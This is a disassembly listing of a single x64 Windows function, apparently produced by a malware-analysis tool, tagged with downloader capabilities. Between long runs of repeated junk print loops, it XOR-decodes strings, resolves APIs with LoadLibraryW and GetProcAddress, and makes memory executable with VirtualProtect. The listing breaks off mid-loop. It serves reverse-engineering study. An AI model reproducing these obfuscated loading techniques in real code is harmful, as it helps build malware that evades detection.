Function at 0x1400090f0
Capabilities:
Create process on windows
Download url
Encode data using xor
Get common file path
Receive data

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
lea rbp, [rsp - 0x540]
sub rsp, 0x640
xor edi, edi
mov r14d, r8d
mov ebx, edi
nop
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009120
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009170
xor ecx, ecx
call fcn.14002abec
mov rcx, rax
call fcn.140024cf0
mov ebx, edi
nop dword [rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x1400091d0
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009220
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009270
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x1400092c0
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009310
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009360
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x1400093b0
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009400
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009450
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x1400094a0
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x1400094f0
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009540
mov rax, qword gs:[0x58]
mov r13d, dword [0x14005fc10]
mov edx, 0xb0
mov qword [rsp + 0x638], r15
mov r9d, 0x90
mov rcx, qword [rax + r13*8]
mov eax, dword [rdx + rcx]
test al, 1
jne 0x1400096a3
movups xmm0, xmmword [0x1400479d0]
mov qword [r9 + rcx], rdi
or eax, 1
movups xmm1, xmmword [0x1400479e0]
mov word [r9 + rcx + 8], di
lea r8, [rsp + 0x5c]
mov dword [rdx + rcx], eax
lea r10, [rsp + 0x50]
lea rax, [r9 + rcx]
xor ecx, ecx
mov byte [rax + 0xa], dil
lea r11, [rsp + 0x52]
mov edx, edi
movaps xmmword [rsp + 0x50], xmm0
lea rdi, [rsp + 0x56]
movaps xmmword [rsp + 0x60], xmm1
xorps xmm0, xmm0
lea rbx, [rsp + 0x54]
lea rsi, [rsp + 0x58]
sub rdi, rax
lea r14, [rsp + 0x5a]
sub r8, rax
movups xmmword [rax + 0xc], xmm0
sub r10, rax
mov word [rax + 0x1c], cx
sub r11, rax
lea r15, [rsp + 0x5e]
sub rbx, rax
lea rcx, [rax + 0xe]
sub rsi, rax
sub r14, rax
sub r15, rax
nop dword [rax]
movzx eax, word [rcx + r8 - 0xe]
add edx, 9
mov word [rcx - 2], ax
movzx eax, word [r10 + rcx]
mov word [rcx], ax
movzx eax, word [r11 + rcx]
mov word [rcx + 2], ax
movzx eax, word [rbx + rcx]
mov word [rcx + 4], ax
movzx eax, word [rdi + rcx]
mov word [rcx + 6], ax
movzx eax, word [rsi + rcx]
mov word [rcx + 8], ax
movzx eax, word [r14 + rcx]
mov word [rcx + 0xa], ax
movzx eax, word [rcx + r8]
mov word [rcx + 0xc], ax
movzx eax, word [r15 + rcx]
mov word [rcx + 0xe], ax
lea rcx, [rcx + 0x12]
cmp edx, 9
jb 0x140009640
mov r14d, dword [rbp + 0x590]
xor edi, edi
mov rax, qword gs:[0x58]
mov r10, qword [rax + r13*8]
cmp byte [r9 + r10 + 0xa], 0
jne 0x1400096d3
lea r8, [r9 + r10]
mov edx, edi
nop
movsxd rcx, edx
lea eax, [rdx + 0x7b]
inc edx
xor word [r8 + rcx*2 + 0xc], ax
cmp edx, 9
jb 0x1400096c0
lea rcx, [r9 + 0xc]
mov byte [r9 + r10 + 0xa], 1
add rcx, r10
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
mov ebx, edi
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x1400096f0
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009740
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009790
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x1400097e0
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009830
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009880
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x1400098d0
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009920
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009970
test rsi, rsi
je 0x14000cd81
mov ebx, edi
nop dword [rax]
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x1400099d0
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009a20
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009a70
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009ac0
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009b10
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009b60
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009bb0
lea rcx, [rbp + 0x598]
call fcn.1400060f0
cmp byte [rax + 9], 0
jne 0x140009c24
mov r8d, edi
nop dword [rax]
movsxd rdx, r8d
lea ecx, [r8 + 0x7b]
inc r8d
xor byte [rdx + rax + 0xa], cl
cmp r8d, 0xf
jb 0x140009c10
lea rdx, [rax + 0xa]
mov byte [rax + 9], 1
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r15d, r15d
mov rdi, rax
mov ebx, r15d
nop
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009c40
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009c90
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009ce0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009d30
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009d80
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009dd0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009e20
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009e70
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009ec0
test rdi, rdi
je 0x14000cd78
mov ebx, r15d
nop dword [rax]
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009f20
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009f70
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009fc0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a010
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a060
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a0b0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a100
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a150
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a1a0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a1f0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a240
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a290
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a2e0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a330
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a380
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a3d0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a420
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a470
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a4c0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a510
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a560
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a5b0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a600
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a650
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a6a0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a6f0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a740
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a790
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a7e0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a830
mov edx, 1
lea r9, [rsp + 0x70]
mov rcx, rdi
lea r8d, [rdx + 0x3f]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, r15d
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a892
mov ebx, r15d
nop dword [rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a8e0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
